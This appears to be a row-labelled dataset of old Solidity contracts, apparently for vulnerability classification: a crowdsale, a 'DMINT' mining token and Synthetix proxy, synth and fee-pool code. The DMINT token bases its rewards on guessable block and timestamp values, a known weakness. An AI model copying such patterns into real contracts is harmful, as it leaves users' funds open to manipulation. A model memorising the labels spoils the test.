require(_rate > 0);
freezeTransferTime = _endTime.add(90 * 1 days);
token = new SIGToken(freezeTransferTime);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
tokenCost = uint256(1 ether).div(rate);
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address buyer) public payable {
require(buyer != address(0));
require(validPurchase());
uint256 tokens = rate.mul(msg.value).div(1 ether);
uint256 tokens2mint = 0;
uint256 bonus = 0;
uint8 round = 3;
if(now < Round1){
round = 1;
bonus = tokens.mul(20).div(100);
BonusTokens[round] += bonus;
}else if(now > Round1 && now < Round2){
round = 2;
bonus = tokens.mul(10).div(100);
BonusTokens[round] += bonus;
}
tokens += bonus;
tokens2mint = tokens.mul(1 ether);
token.mint(buyer, tokens2mint);
TokenPurchase(msg.sender, buyer, round, rate, msg.value, tokens, bonus);
if(Buyers[buyer] != true){
TotalBuyers += 1;
Buyers[buyer] = true;
}
forwardFunds();
}
function forwardFunds() internal {
SafeAddr.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool haveEnoughEther = msg.value >= tokenCost;
return withinPeriod && nonZeroPurchase && haveEnoughEther;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
uint256 totalSupply = token.totalSupply().div(1 ether);
uint256 tokens = totalSupply.mul(PercentageForFounders).div(100 - PercentageForFounders);
uint256 tokens2mint = tokens.mul(1 ether);
token.mint(FundOwnerAddr_1, tokens2mint);
token.mint(FundOwnerAddr_2, tokens2mint);
token.mint(FundOwnerAddr_3, tokens2mint);
Restricted[1] = tokens.mul(3);
tokens = totalSupply.mul(PercentageForDevelopers).div(100 - PercentageForDevelopers);
tokens2mint = tokens.mul(1 ether);
token.mint(DeveloperTokensStoreAddr, tokens2mint);
Restricted[2] = tokens;
tokens = totalSupply.mul(PercentageForOther).div(100 - PercentageForOther);
tokens2mint = tokens.mul(1 ether);
token.mint(OtherTokensStoreAddr, tokens2mint);
Restricted[3] = tokens;
tokens = totalSupply.mul(PercentageForReserveFund).div(100 - PercentageForReserveFund);
tokens2mint = tokens.mul(1 ether);
token.mint(ReserveFundAddr, tokens2mint);
Restricted[4] = tokens;
token.finishMinting();
}
function changeRate(uint256 _rate) onlyOwner public returns (uint256){
require(!isFinalized);
require(_rate > 0);
uint256 totalSupply = token.totalSupply().div(1 ether);
tokenCost = uint256(1 ether).div(_rate);
ChangeRate(now, rate, _rate, totalSupply);
rate = _rate;
return rate;
}
function getRestrictedTokens(uint8 _who) onlyOwner public constant returns (uint256){
require(isFinalized);
require(_who <= 4);
return Restricted[_who];
}
function getBonusTokens(uint8 _round) onlyOwner public constant returns (uint256){
require(_round < 3);
return BonusTokens[_round];
}
function getTotalBuyers() onlyOwner public constant returns (uint256){
return TotalBuyers;
}
} | 1 | 5,360 |
pragma solidity ^0.4.11;
contract DMINT {
string public name = 'DMINT';
string public symbol = 'DMINT';
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000000000000000000000;
uint public miningReward = 1000000000000000000;
uint private divider;
uint private randomNumber;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public successesOf;
mapping (address => uint256) public failsOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function DMINT() public {
balanceOf[msg.sender] = totalSupply;
divider -= 1;
divider /= 1000000000;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) external {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) external returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function () external payable {
if (msg.value == 0) {
randomNumber += block.timestamp + uint(msg.sender);
uint minedAtBlock = uint(block.blockhash(block.number - 1));
uint minedHashRel = uint(sha256(minedAtBlock + randomNumber + uint(msg.sender))) / divider;
uint balanceRel = balanceOf[msg.sender] * 1000000000 / totalSupply;
if (balanceRel >= 100000) {
uint k = balanceRel / 100000;
if (k > 255) {
k = 255;
}
k = 2 ** k;
balanceRel = 500000000 / k;
balanceRel = 500000000 - balanceRel;
if (minedHashRel < balanceRel) {
uint reward = miningReward + minedHashRel * 100000000000000;
balanceOf[msg.sender] += reward;
totalSupply += reward;
Transfer(0, this, reward);
Transfer(this, msg.sender, reward);
successesOf[msg.sender]++;
} else {
failsOf[msg.sender]++;
}
} else {
revert();
}
} else {
revert();
}
}
} | 1 | 5,408 |
pragma solidity 0.4.25;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract Synth is ExternStateToken {
FeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(FeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
contract FeePool is Proxyable, SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees = feesAvailable(messageSender, "XDR");
require(availableFees > 0, "No fees available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
_recordFeePayment(availableFees);
_payFees(messageSender, availableFees, currencyKey);
emitFeesClaimed(messageSender, availableFees);
return true;
}
function _recordFeePayment(uint xdrAmount)
internal
{
uint remainingToAllocate = xdrAmount;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
if (remainingToAllocate == 0) return;
}
}
assert(remainingToAllocate == 0);
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit()));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
